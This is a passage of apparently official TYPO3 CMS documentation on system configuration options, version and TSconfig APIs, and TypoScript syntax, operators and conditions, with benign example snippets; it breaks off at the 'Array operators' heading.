$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

phpClass

Default

\TYPO3\CMS\Core\Error\ErrorHandler::class

Classname to handle PHP errors. This class displays and logs all errors that are registered as [SYS][errorHandlerErrors]. Leave empty to disable error handling. Errors will be logged and can be sent to the optionally installed developer log or to the syslog database table. If an error is registered in [SYS][exceptionalErrors] it will be turned into an exception to be handled by the configured exceptionHandler.

errorHandlerErrors

$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandlerErrors']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['errorHandlerErrors']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

errors

Default

E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR)

The E_* constants that will be handled by the [SYS][errorHandler]. Not all PHP error types can be handled:

E_USER_DEPRECATED will always be handled, regardless of this setting. Default is 30466 = E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR) (see PHP documentation).

exceptionalErrors

$GLOBALS['TYPO3_CONF_VARS']['SYS']['exceptionalErrors']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['exceptionalErrors']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

errors

Default

E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR | E_DEPRECATED | E_USER_DEPRECATED | E_WARNING | E_USER_ERROR | E_USER_NOTICE | E_USER_WARNING)

The E_* constant that will be converted into an exception by the default [SYS][errorHandler]. Default is 4096 = E_ALL & ~(E_STRICT | E_NOTICE | E_COMPILE_WARNING | E_COMPILE_ERROR | E_CORE_WARNING | E_CORE_ERROR | E_PARSE | E_ERROR | E_DEPRECATED | E_USER_DEPRECATED | E_WARNING | E_USER_ERROR | E_USER_NOTICE | E_USER_WARNING) (see PHP documentation).

E_USER_DEPRECATED is always excluded to avoid exceptions to be thrown for deprecation messages.

belogErrorReporting

$GLOBALS['TYPO3_CONF_VARS']['SYS']['belogErrorReporting']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['belogErrorReporting']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

errors

Default

E_ALL & ~(E_STRICT | E_NOTICE)

Configures which PHP errors should be logged to the "syslog" database table (extension belog). If set to "0" no PHP errors are logged to the sys_log table. Default is 30711 = E_ALL & ~(E_STRICT | E_NOTICE) (see PHP documentation).

generateApacheHtaccess

$GLOBALS['TYPO3_CONF_VARS']['SYS']['generateApacheHtaccess']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['generateApacheHtaccess']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

bool

Default

1

TYPO3 can create .htaccess files which are used by Apache Webserver. They are useful for access protection or performance improvements. Currently .htaccess files in the following directories are created, if they do not exist: typo3temp/compressor/.

You want to disable this feature, if you are not running Apache or want to use own rule sets.

ipAnonymization

$GLOBALS['TYPO3_CONF_VARS']['SYS']['ipAnonymization']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['ipAnonymization']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

int

Default

1

allowedValues
0
Disabled - Do not modify IP addresses at all
1
Mask the last byte for IPv4 addresses / Mask the Interface ID for IPv6 addresses (default)
2
Mask the last two bytes for IPv4 addresses / Mask the Interface ID and SLA ID for IPv6 addresses

Configures if and how IP addresses stored via TYPO3s API should be anonymized ("masked") with a zero-numbered replacement. This is respected within anonymization task only, not while creating new log entries.

systemMaintainers

$GLOBALS['TYPO3_CONF_VARS']['SYS']['systemMaintainers']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['systemMaintainers']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']

type

array

Default

null

A list of backend user IDs allowed to access the Install Tool

features

New features of TYPO3 that are activated on new installations but upgrading installations may still use the old behaviour.

These settings are feature toggles and can be changed in the Backend module Settings in the section Feature Toggles, but not in Configure Installation-Wide Options.

form.legacyUploadMimeTypes

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['form.legacyUploadMimeTypes']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['form.legacyUploadMimeTypes']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']

type

bool

Default

true

If on, some mime types are predefined for the "FileUpload" and "ImageUpload" elements of the "form" extension, which always allows file uploads of these types, no matter the specific form element definition.

redirects.hitCount

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['redirects.hitCount']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['redirects.hitCount']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']

type

bool

Default

false

If on, and if extension "redirects" is loaded, each performed redirect is counted and last hit time is logged to the database.

security.backend.enforceReferrer

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.backend.enforceReferrer']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.backend.enforceReferrer']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']

type

bool

Default

true

If on, HTTP referrer headers are enforced for backend and install tool requests to mitigate potential same-site request forgery attacks. The behavior can be disabled in case HTTP proxies filter required referer header. As this is a potential security risk, it is recommended to enable this option.

yamlImportsFollowDeclarationOrder

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['yamlImportsFollowDeclarationOrder']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['yamlImportsFollowDeclarationOrder']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']

type

bool

Default

false

If on, the YAML imports are imported in the order they are defined in the importing YAML configuration.

security.frontend.allowInsecureSiteResolutionByQueryParameters

New in version 11.5.30

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.allowInsecureSiteResolutionByQueryParameters']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.allowInsecureSiteResolutionByQueryParameters']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']

type

bool

Default

false

Resolving sites by the id and L HTTP query parameters is now denied by default. However, it is still allowed to resolve a particular page by, for example, "example.org" - as long as the page ID 123 is in the scope of the site configured for the base URL "example.org".

The flag can be used to reactivate the previous behavior:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']['security.frontend.allowInsecureSiteResolutionByQueryParameters'] = true;
Copied!

availablePasswordHashAlgorithms

$GLOBALS['TYPO3_CONF_VARS']['SYS']['availablePasswordHashAlgorithms']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['availablePasswordHashAlgorithms']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']['features']

type

array

Default
 

A list of available password hash mechanisms. Extensions may register additional mechanisms here.

linkHandler

$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']

$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']
Path

$GLOBALS['TYPO3_CONF_VARS']['SYS']['linkHandler']

type

array

Links entered in the TYPO3 backend are stored in an internal format in the database, like t3://page?uid=42. The handlers for the different resource keys (like page in the example) are registered as link handlers.

The TYPO3 Core registers the following link handlers:

Additional link handlers can be added by extensions.

Global meta information about TYPO3

General information

The PHP class \TYPO3\CMS\Core\Information\Typo3Information provides an API for general information, links and copyright information about TYPO3.

The following methods are available:

  • getCopyrightYear() will return a string with the current copyright years (for example "1998-2020")
  • getHtmlGeneratorTagContent() will return the backend meta generator tag with copyright information
  • getInlineHeaderComment() will return the TYPO3 header comment rendered in all frontend requests ("This website is powered by TYPO3...")
  • getCopyrightNotice() will return the TYPO3 copyright notice

Version Information

PHP class \TYPO3\CMS\Core\Information\Typo3Version provides an API for accessing information about the currently used TYPO3 version.

  • getVersion() will return the full TYPO3 version (for example 10.4.3)
  • getBranch() will return the current branch (for example 10.4)
  • getMajorVersion() will return the major version number (for example 10)
  • __toString() will return the result of getVersion()

TSconfig

"User TSconfig" and "page TSconfig" are very flexible concepts for adding fine-grained configuration to the backend of TYPO3. It is a text- based configuration system where you assign values to keyword strings, using the TypoScript syntax. The TSconfig Reference describes in detail how this works and what can be done with it.

User TSconfig

User TSconfig can be set for each backend user and group. Configuration set for backend groups is inherited by the user who is a member of those groups. The available options typically cover user settings like those found in the User Settings, configuration of the "Admin Panel" (frontend), various backend tweaks (lock user to IP, show shortcut frame, may user clear all cache?, etc.) and backend module configuration (overriding any configuration set for backend modules in Page TSconfig).

Page TSconfig

Page TSconfig can be set for each page in the page tree. Pages inherit configuration from parent pages. The available options typically cover backend module configuration, which means that modules related to pages (typically those in the Web main module) can be configured for different behaviours in different branches of the tree. It also includes configuration for the FormEngine (Forms to edit content in TYPO3) and the DataHandler (component that takes care of transforming and persisting data structures) behaviours. Again, the point is that the configuration is active for certain branches of the page tree which is very practical in projects running many sites in the same page tree.

Get Page TSConfig via PHP in an extension

When there is the necessity for fetching and loading PageTSconfig, it is recommended for extension developers to make use of the PHP classes:

  • \TYPO3\CMS\Core\Configuration\Loader\PageTsConfigLoader
  • \TYPO3\CMS\Core\Configuration\Parser\PageTsConfigParser

Usage for fetching all available PageTS in one large string (not parsed yet):

EXT:some_extension/Classes/SomeClass.php
$loader = GeneralUtility::makeInstance(PageTsConfigLoader::class);
$tsConfigString = $loader->load($rootLine);
Copied!

The string can then be put in proper TSconfig array syntax:

EXT:some_extension/Classes/SomeClass.php
$parser = GeneralUtility::makeInstance(
   PageTsConfigParser::class,
   $typoScriptParser,
   $hashCache
);
$pagesTSconfig = $parser->parse(
   $tsConfigString,
   $conditionMatcher
);
Copied!

TypoScript syntax

This chapter describes the syntax of TypoScript. The TypoScript syntax and its parser logic is used in two different contexts: Frontend TypoScript to configure frontend rendering and TSconfig to configure backend details for backend users.

While the underlying TypoScript syntax is described in this chapter, both usages and their details are found in standalone manuals:

In addition, you can find a quick reference guide to TypoScript templates in TypoScript in 45 Minutes.

Table of Contents:

What Is TypoScript?

People are often confused about what TypoScript (TS) is, where it can be used and have a tendency to think of it as something complex. This chapter has been written in the hope of clarifying these issues.

First let's start with a basic truth:

  • TypoScript is a syntax for defining information in a hierarchical structure using simple ASCII text content.

This means that:

  • TypoScript itself does not "do" anything - it just contains information.
  • TypoScript is only transformed into function when it is passed to a program which is designed to act according to the information in a TypoScript information structure.

So strictly speaking TypoScript has no function in itself, only when used in a certain context. Since the context is almost always to configure something you can often understand TypoScript as parameters (or function arguments) passed to a function which acts accordingly (e.g. background_color = red). And on the contrary you will probably never see TypoScript used to store information like a database of addresses - you would use XML or SQL for that.

PHP arrays

In the scope of its use you can also understand TypoScript as a non- strict way to enter information into a multidimensional array . In fact when TypoScript is parsed, it is transformed into a PHP array ! So when would you define static information in PHP arrays? You would do that in configuration files - but probably not to build your address database!

This can be summarized as follows:

  • When TypoScript is parsed it means that the information is transformed into a PHP array from where TYPO3 applications can access it.
  • So the same information could in fact be defined in TypoScript or directly in PHP; but the syntax would be different for the two of course.
  • TypoScript offers convenient features which is the reason why we don't just define the information directly with PHP syntax into arrays. These features include a relaxed handling of syntax errors, definition of values with less language symbols needed and the ability of using an object/property metaphor, etc.

TypoScript syntax, object paths, objects and properties

See, that is what this chapter is about - the syntax of TypoScript; the rules you must obey in order to store information in this structure. Obviously we'll not explain the full syntax here again but just give an example to convey the idea.

Remember it is about storing information, so think about TypoScript as assigning values to variables : The "variables" are called "object paths" because TypoScript easily lends itself to the metaphor of "objects" and "properties". This has some advantages as we shall see but at the same time TypoScript is designed to allow a very simple and straight forward assignment of values; simply by using the equal sign as an operator:

asdf = qwerty
Copied!

Now the object path "asdf" contains the value "qwerty".

Another example:

asdf.zxcvbnm = uiop
asdf.backgroundColor = blue
Copied!

Now the object path "asdf.zxcvbnm" contains the value "uiop" and "asdf.backgroundColor" contains the value "blue". According to the syntax of TypoScript this could also have been written more comfortably as:

asdf {
  zxcvbnm = uiop
  backgroundColor = blue
}
Copied!

What happened here is that we broke down the full object path, "asdf.zxcvbnm" into its components "asdf" and "zxcvbnm" which are separated by a period, ".", and then we used the curly brace operators, { and } , to bind them together again. To describe this relationship of the components of an object path we normally call "asdf" the object and "zxcvbnm" the property of that object.

So although the terms objects and properties normally hint at some context (semantics) we may also use them purely to describe the various parts of an object path without considering the context and meaning. Consider this:

asdf {
  zxcvbnm = uiop
  backgroundColor = blue
  backgroundColor.transparency = 95%
}
Copied!

Here we can say that "zxcvbnm" and "backgroundColor" are properties of (the object) "asdf". Further, "transparency" is a property of (the object / the property) "backgroundColor" (or "asdf.backgroundColor").

Note about perceived semantics

You may now think that "backgroundColor = blue" makes more sense than "zxcvbnm = uiop" but having a look at the syntax only it doesn't! The only reason that "backgroundColor = blue" seems to make sense is that in the English language we understand the words "background color" and "blue" and automatically imply some meaning. We understand the semantics of it. But to a machine like a computer the word "backgroundColor" makes just as little sense as "zxcvbnm" unless it has been programmed to understand either one, e.g. to take its value as the background color for something. In fact "uiop" could be an alias for blue color values and "zxcvbnm" could be programmed as the property setting the background color of something.

This just serves to point one thing out: Although most programming languages and also TypoScript use function, method, keyword and property names which humans can often deduct some meaning from, it ultimately is the programming reference, DTD or XML-Schema which defines the meaning.

Note about the internal structure when parsed into a PHP array

Let's take the TypoScript from above as an example:

asdf {
  zxcvbnm = uiop
  backgroundColor = blue
  backgroundColor.transparency = 95%
}
Copied!

When parsed, this information will be stored in a PHP array which could be defined as follows:

$TS['asdf.']['zxcvbnm'] = 'uiop';
$TS['asdf.']['backgroundColor'] = 'blue';
$TS['asdf.']['backgroundColor.']['transparency'] = '95%';
Copied!

Or alternatively you could define the information in that PHP array like this:

$TS = [
    'asdf.' => [
        'zxcvbnm' => 'uiop',
        'backgroundColor' => 'blue',
        'backgroundColor.' => [
            'transparency' => '95%'
        ]
    ]
]
Copied!

The information inside a PHP array like that one is used by TYPO3 to apply the configurations, which you have set.

Credits

This chapter was formerly maintained by Michael Stucki and Francois Suter. Additions have been made by Sebastian Michaelsen. The updates for recent versions were done by Christopher Stelmaszyk and Francois Suter.

Syntax

Introduction

TypoScript is internally handled as a (large) multidimensional PHP array (see "What Is TypoScript?"). Values are arranged in a tree-like hierarchy. The "branches" are indicated with periods (".") - a syntax borrowed from for example JavaScript and which conveys the idea of defining objects/properties.

Example

Extension examples, file Configuration/TypoScript/Syntax/Introduction/setup.typoscript
myObject = [value 1]
myObject.myProperty = [value 2]
myObject.myProperty.firstProperty = [value 3]
myObject.myProperty.secondProperty = [value 4]
Copied!

Referring to myObject we might call it: "an object with the value [value 1] and the property, 'myProperty' with the value [value 2]. Furthermore 'myProperty' has its own two properties, 'firstProperty' and 'secondProperty' with a value each ([value 3] and [value 4])."

The TYPO3 backend contains tools that can be used to visualize the tree structure of TypoScript. They are described in the relevant section further of the two using reference documents TypoScript Reference and TSconfig Reference. The above piece of TypoScript would look like this:

Example TypoScript code viewed in the TypoScript object browser

Contexts

There are two contexts where TypoScript is used: templates, where TypoScript is used to actually define what will appear in the TYPO3 frontend, and TSconfig, where it is used to configure settings of the TYPO3 backend. TSconfig is further subdivided into user TSconfig (defined for backend users or user groups) and page TSconfig (defined for pages in the page tree).

Page TSconfig is used for customizing the TYPO3 backend according to where users will be working along the page tree. User TSconfig is used to customize what elements are visible for users and groups or change the behavior of some elements.

Some parts of TypoScript are available in both contexts, some only in one or the other. Any difference is mentioned at the relevant place.

Each context has its own chapter in this manual. It also has its own reference in a separate manual (see TypoScript syntax at the end of this manual).

TypoScript syntax

TypoScript is parsed in a very simple way; line by line. This means that abstractly said each line normally contains three parts based on this formula:

[Object Path] [Operator] [Value]
Copied!

Example:

Extension examples, file Configuration/TypoScript/Syntax/General/setup.typoscript
myObject.myProperty = value 2
Copied!

In this example we have the object myObject with the property myProperty and a value value 2.

Object path

The object path (in this case myObject.myProperty) is like the variable name in a programming language. The object path is the first block of non-whitespace characters on a line until one of the characters =<>{( or a white space is found. The dot (.) is used to separate objects and properties from each other creating a hierarchy.

Use only A-Z, a-z, 0-9, "-", "\_" and periods (.) for object paths!

Dots in the object path can be escaped using a backslash.

Escaping example:

Extension examples, file Configuration/TypoScript/Syntax/Escaping/setup.typoscript
my\.escaped\.key = test
Copied!

This will result in an object named my.escaped.key with the value "test". Here we do not have three hierarchically structured objects my, escaped and key.

Operator

The operator (in the example it is =) can be one of the characters =<>{(. The various operators are described below.

Value assignment: The "=" operator

This assigns a value to an object path.

Rules:

Everything after the = sign and up to the end of the line is considered to be the value. In other words: You don't need to quote anything!

Be aware that the value will be trimmed, which means stripped of whitespace at both ends.

Value modifications: The ":=" operator

This operator assigns a value to an object path by calling a predefined function which modifies the existing value of the current object path in different ways.

This is very useful when a value should be modified without completely redefining it again.

Rules:

The portion after the := operator and to the end of the line is split in two parts: A function and a value. The function is specified right next to the operator (trimmed) and holding the value in parentheses (not trimmed).

This is the list of predefined functions:

prependString
Adds a string to the beginning of the existing value.
appendString
Adds a string to the end of the existing value.
removeString
Removes a string from the existing value.
replaceString
Replaces old with new value. Separate these using |.
addToList
Adds a comma-separated list of values to the end of a string value. There is no check for duplicate values, and the list is not sorted in any way.
removeFromList
Removes a comma-separated list of values from an existing comma-separated list of values.
uniqueList
Removes duplicate entries from a comma-separated list of values.
reverseList
Reverses the order of entries in a comma-separated list of values.
sortList

Sorts the entries in a comma-separated list of values. Optional parameters are:

ascending
Sort the items in ascending order: First numbers from small to big, then letters in alphabetical order. This is the default method.
descending
Sort the items in descending order: First letters in descending order, then numbers from big to small.
numeric
Apply numeric sorting: Numbers from small to big, letters sorted after "0".

Multiple parameters are separated by comma.

There is a hook inside class \TYPO3\CMS\Core\TypoScript\Parser\TypoScriptParser which can be used to define more such functions.

Example:

Extension examples, file Configuration/TypoScript/Syntax/ValueModification/setup.typoscript
myObject = TEXT
myObject.value = 1,2,3
myObject.value := addToList(4,5)
myObject.value := removeFromList(2,1)
Copied!

produces the same result as:

Extension examples, file Configuration/TypoScript/Syntax/ValueModification2/setup.typoscript
myObject = TEXT
myObject.value = 3,4,5
Copied!

Code blocks: The { } signs

Opening and closing curly braces are used to assign many object properties in a simple way at once. It's called a block or nesting of properties.

Rules:

  • Everything on the same line as the opening brace ({), but that comes after it is ignored.
  • The } sign must be the first non-space character on a line in order to close the block. Everything on the same line, but after } is ignored.
  • Blocks can be nested. This is actually recommended for improved readability.

Example:

Extension examples, file Configuration/TypoScript/Syntax/CodeBlock/setup.typoscript
myObject = TEXT
myObject.stdWrap.field = title
myObject.stdWrap.ifEmpty.data = leveltitle:0
Copied!

could also be written as:

Extension examples, file Configuration/TypoScript/Syntax/CodeBlock2/setup.typoscript
myObject = TEXT
myObject {
   stdWrap {
      field = title
      ifEmpty {
         data = leveltitle:0
      }
   }
}
Copied!

Multi-line values: The ( ) signs

Opening and closing parenthesis are used to assign a multi-line value . With this method you can define values which span several lines and thus include line breaks.

Rules:

The end-parenthesis is extremely important. If it is not found, the parser considers the following lines to be part of the value and does not return to parsing TypoScript. This includes the [GLOBAL] condition which will not save you in this case! So don't miss it!

Example:

Extension examples, file Configuration/TypoScript/Syntax/MultiLine/setup.typoscript
myObject = TEXT
myObject.value (
   <p class="warning">
      This is HTML code.
   </p>
)
Copied!

Object copying: The "<" sign

The < sign is used to copy one object path to another. The whole object is copied - both value and properties - and it overrides any old objects and values at that position.

Example:

Extension examples, file Configuration/TypoScript/Syntax/ObjectCopying/setup.typoscript
myObject = TEXT
myObject.value = <p class="warning">This is HTML code.</p>

myOtherObject < myObject
Copied!

The result of the above TypoScript is two independent sets of objects/properties which are exactly the same (duplicates). They are not references to each other but actual copies:

An object and its copy

Another example with a copy within a code block:

Extension examples, file Configuration/TypoScript/Syntax/ObjectCopying2/setup.typoscript
pageObj {
   10 = TEXT
   10.value = <p class="warning">This is HTML code.</p>
   20 < pageObj.10
}
Copied!

Here also a copy is made, although inside the pageObj object. Note that the copied object is referred to with its full path (pageObj.10). When copying on the same level, you can refer to the copied object's name, prepended by a dot.

The following produces the same result as above:

Extension examples, file Configuration/TypoScript/Syntax/ObjectCopying3/setup.typoscript
pageObj {
   10 = TEXT
   10.value = <p class="warning">This is HTML code.</p>
   20 < .10
}
Copied!

which – in tree view – translates to:

Another object and its copy

Object references: the equal smaller "=<" sign

In the context of TypoScript Templates it is possible to create references from one object to another. References mean that multiple positions in an object tree can use the same object at another position without making an actual copy of the object but by pointing to the objects full object path.

The obvious advantage is that a change of code to the original object affects all references. It avoids the risk mentioned above with the copy operator to forget that a change at a later point does not affect earlier copies. On the other hand there's the reverse risk: It is easy to forget that changing the original object will have an impact on all references. References are very convenient, but should be used with caution.

Note: Changing or adding attributes in the object holding a reference will not change the original object that was referenced.

Example:

Extension examples, file Configuration/TypoScript/Syntax/ObjectReference/setup.typoscript
someObject = TEXT
someObject {
   value = Hello world!
   stdWrap.wrap = <p>|<p>
}
anotherObject =< someObject
someObject.stdWrap.wrap = <h1>|<h1>
Copied!

In this case, the stdWrap.wrap property of anotherObject will indeed be <h1>|<h1>. In tree view the properties of the reference are not shown. Only the reference itself is visible:

An object and a reference to it.

Remember:

  • References are only available in TypoScript templates, not in TSconfig (user TSconfig or page TSconfig)
  • References are only resolved for Content Objects, otherwise references are not resolved. For example, you cannot use a reference < plugin.tx_example.settings.foo to find the value of foo. The value you get will be just < plugin.tx_example.settings.foo instead.

Object unsetting: The ">" Sign

This is used to unset an object and all of its properties.

Example:

Extension examples, file Configuration/TypoScript/Syntax/ObjectUnsetting/setup.typoscript
myObject = TEXT
myObject.value = <strong> HTML - code </strong>

myObject >
Copied!

In this last line myObject is totally wiped out (removed).

Conditions: Lines starting with "["

Conditions break the parsing of TypoScript in order to evaluate the content of the condition line. If the evaluation returns true, parsing continues, otherwise the following TypoScript is ignored until the next condition is found, at which point a new evaluation takes place. The next section in this document describes conditions in more details.

Rules:

Conditions apply only when outside of any code block (i.e. outside of any curly braces).

Example:

Extension examples, file Configuration/TypoScript/Syntax/Conditions/setup.typoscript
[date("j") == 9]
   page.10.value = It is the 9th day of the month!
[ELSE]
   page.10.value = It is NOT the 9th day of the month!
[END]
Copied!

Value

The value (in case of the above example "value 2") is whatever characters follow the operator until the end of the line, but trimmed for whitespace at both ends. Notice that values are not encapsulated in quotes! The value starts after the operator and ends with the line break.

Comments

TypoScript support single line comments as well as multiline comment blocks.

Single line comments

When a line starts with // or # it is considered to be a comment and will be ignored.

Example:

Extension examples, file Configuration/TypoScript/Syntax/CommentsSingleLine/setup.typoscript
// This is a comment
myObject = TEXT
myObject.value = <strong>Some HTML code</strong>
# This line also is a comment.
Copied!

Comment blocks

When a line starts with /* or */ it defines the beginning or the end of a comment section respectively. Anything, excluding imports, inside a comment section is ignored.

Rules:

/* and */ must be the very first characters of a trimmed line in order to be detected.

Comment blocks are not detected inside a multi-line value block (see parenthesis operator below).

Example:

Extension examples, file Configuration/TypoScript/Syntax/CommentsBlock/setup.typoscript
/* This is a comment
.. and this line is within that comment which...
ends here:
*/  ... this is not parsed either though - the whole line is still within the comment
myObject = TEXT
myObject.value (
   Here is a multiline value which
   /*
    This is not a comment because it is inside a multi-line value block
   */
)
Copied!

Conditions

There is a possibility of using so called conditions in TypoScript. Conditions are simple control structures, that evaluate to TRUE or FALSE based on some criteria (externally validated) and thereby determine, whether the TypoScript code following the condition and ending where the next condition is found, should be parsed or not.

Examples of a condition could be:

  • Is a usergroup set for the current session?
  • Is it Monday?
  • Is the GET parameter "&language=uk" set?
  • Is it my mother's birthday?
  • Do I feel lucky today?

Of these examples admittedly the first few are the most realistic. In fact they are readily available in the context of TypoScript Templates. But a condition can theoretically evaluate any circumstance and return either TRUE or FALSE which subsequently means the parsing of the TypoScript code that follows.

Where conditions can be used

The detection of conditions is a part of the TypoScript syntax but the validation of the condition content always relies on the context where TypoScript is used. Therefore in plain syntax highlighting (no context) conditions are just highlighted and nothing more. In the context of TypoScript Templates there is a whole section of TSref which defines the syntax of the condition contents for TypoScript Templates. For "Page TSconfig" and "user TSconfig" conditions are implemented as well. Basically they work the same way as conditions in TypoScript templates do, but there are some small differences. For details see the chapter on conditions in TSconfig.

The syntax of conditions

A condition is written on its own line and is detected by [ (square bracket) being the first character on that line:

Extension examples, file Configuration/TypoScript/Conditions/Syntax/setup.typoscript
# ... some TypoScript, always parsed

[condition]

   # .... some more TypoScript (only parsed if the condition is met.)

[GLOBAL]

# ... some TypoScript, always parsed
Copied!

As you can see from this example, the line [GLOBAL] also is a condition. It is built into TypoScript and always returns TRUE. The line [ condition ] is another condition. If [ condition ] is TRUE, then the TypoScript in the middle would be parsed until [GLOBAL] (or [END]) resets the condition. After that point the TypoScript is parsed for any case again.

Here is an example of some TypoScript (from the context of TypoScript Templates) where another text is output if you are logged in or working locally:

Extension examples, file Configuration/TypoScript/Conditions/Simple/setup.typoscript
page = PAGE
page.10 = TEXT
page.10.value = HELLO WORLD!

[loginUser('*') or ip('127.0.0.1')]
   page.20 = TEXT
   page.20 {
      value = Only for logged in users or local setup
      stdWrap.case = upper
   }
[GLOBAL]
Copied!

You can now use the Object Browser to actually see the difference in the parsed object tree depending on whether the condition evaluates to TRUE or FALSE (which can be simulated with that module as you can see):

The above example with the condition disabled

The above example withthe condition enabled

Combining conditions

As we saw above two or more tests can be combined using logical operators. The following operators are available:

or
Also available as ||.
and
Also available as &&.
not
Also available as !.

TypoScript conditions are using the Symfony Expression Language. For more information on writing such expressions, you can look up the symfony documentation on the expression language.

The Special [ELSE], [END] and [GLOBAL] Conditions

The special condition [ELSE] which will return TRUE if the previous condition returned FALSE. To end an [ELSE] condition you can use either [END] or [GLOBAL]. For all three conditions you can also use them in lower case.

Here's an example of using the [ELSE] condition (also in the context of TypoScript Templates):

Extension examples, file Configuration/TypoScript/Conditions/Else/setup.typoscript
page = PAGE
page.10 = TEXT

[loginUser('*')]
   page.10.value = Logged in
[ELSE]
   page.10.value = Not logged in
[END]

page.10.stdWrap.wrap = <strong>|</strong>
Copied!

Here we have one output text if a user is logged in and another if not. No matter what the text is wrapped in a <strong> tag, because, as we can see, this wrap is added outside of the condition block (e.g. after the [END] condition).

The above example with the condition disabled

The above example with the condition enabled

The fact that you can "enable" the condition in the TypoScript Object Browser is a facility provided to simulate the outcome of any conditions you insert in a TypoScript Template. Whether or not the conditions validate correctly is only verified by actually getting (in this example) a logged in user and hitting the site.

Another example could be if you wanted to do something special in case a bunch of conditions is NOT true. There's no negate-character, but you could do this:

Extension examples, file Configuration/TypoScript/Conditions/Not/setup.typoscript
[!loginUser('*')]
   page.10.value = No user is logged in!
[END]
Copied!

Where to insert conditions in TypoScript?

Conditions can be used outside of confinements (curly braces) only!

So, this is valid:

Extension examples, file Configuration/TypoScript/Conditions/Valid/setup.typoscript
someObject {
   1property = 234
}
[loginUser('*')]
   someObject {
      2property = 567
   }
[GLOBAL]
Copied!

But this is not valid:

Extension examples, file Configuration/TypoScript/Conditions/Invalid/setup.typoscript
# Invalid: This example is not valid on purpose
# Conditions must not be used within value blocks
someObject {
   1property = 234
   [loginUser('*')]
   2property = 567
   [GLOBAL]
}
Copied!

When parsed with syntax highlighting you will see this error:

Error after having used a condition where it is not allowed.

This means that the line was perceived as a regular definition of TypoScript and not as a condition.

The [GLOBAL] condition

The [GLOBAL] special condition (which resets any previous condition scope) is yet different, in that will be detected at any line except within multiline value definitions.

Extension examples, file Configuration/TypoScript/Conditions/InvalidGlobal/setup.typoscript
# Invalid: This example is not valid on purpose
# Conditions must not be used within value blocks
someObject {
   1property = 234
   [GLOBAL]
   2property = 567
}
Copied!

But you will still get some errors if you syntax highlight it:

Error after having used a GLOBAL condition at thw wrong place.

The reason for this is that the [GLOBAL] condition aborts the confinement started in the first line resulting in the first error ("... short of 1 end brace(s)"). The second error appears because the end brace is now in excess since the "brace level" was reset by [GLOBAL].

So, in summary; the special [global] (or [GLOBAL]) condition will break TypoScript parsing within braces at any time and return to the global scope (unless entered in a multiline value). This is true for any TypoScript implementation whether other condition types are possible or not. Therefore you can use [GLOBAL] (put on a single line for itself) to make sure that following TypoScript is correctly parsed from the top level. This is normally done when TypoScript code from various records is combined.

Custom conditions with the Symfony expression language

Further information about how to extend TypoScript with your own custom conditions can be found at Symfony within TypoScript conditions.

Syntax examples

Variables and functions

For a detailed list of the available objects and functions refer to the TypoScript Reference.

Variables:

Extension examples, file Configuration/TypoScript/Conditions/Variables/setup.typoscript
[page["backend_layout"] == 1]
   page.42.value = Backend layout 1 choosen
[END]
Copied!

Functions:

Extension examples, file Configuration/TypoScript/Conditions/Functions/setup.typoscript
[loginUser('*')]
   page.42.value = Frontend user logged in
[END]
[getTSFE().isBackendUserLoggedIn()]
   page.42.value = Backend user logged in
[END]
Copied!

Literals

For a complete list have a look at the SEL supported literals.

Strings:

Extension examples, file Configuration/TypoScript/Conditions/Strings/setup.typoscript
[request.getNormalizedParams().getHttpHost() == 'example.org']
   page.42.value = Http Host is example.org
[END]
Copied!

Arrays:

Extension examples, file Configuration/TypoScript/Conditions/Arrays/setup.typoscript
[page["pid"] in [17,24]]
   page.42.value = This page is a child of page 17 or page 24
[END]
Copied!

Operators

Please see a complete list of available operators here: SEL syntax operators

Equality:

Extension examples, file Configuration/TypoScript/Conditions/Equality/setup.typoscript
[applicationContext == "Development"]
   page.42.value = The application context is exactly "Development"
[END]
Copied!

Wildcards:

Extension examples, file Configuration/TypoScript/Conditions/Wildcards/setup.typoscript
[like(applicationContext, "Development*")]
   page.42.value = The application context starts with "Development"
[END]
Copied!

Regular expressions:

Extension examples, file Configuration/TypoScript/Conditions/RegularExpressions/setup.typoscript
[applicationContext matches "/^Development/"]
   page.42.value = The application context starts with "Development"
[END]
Copied!

Array operators:

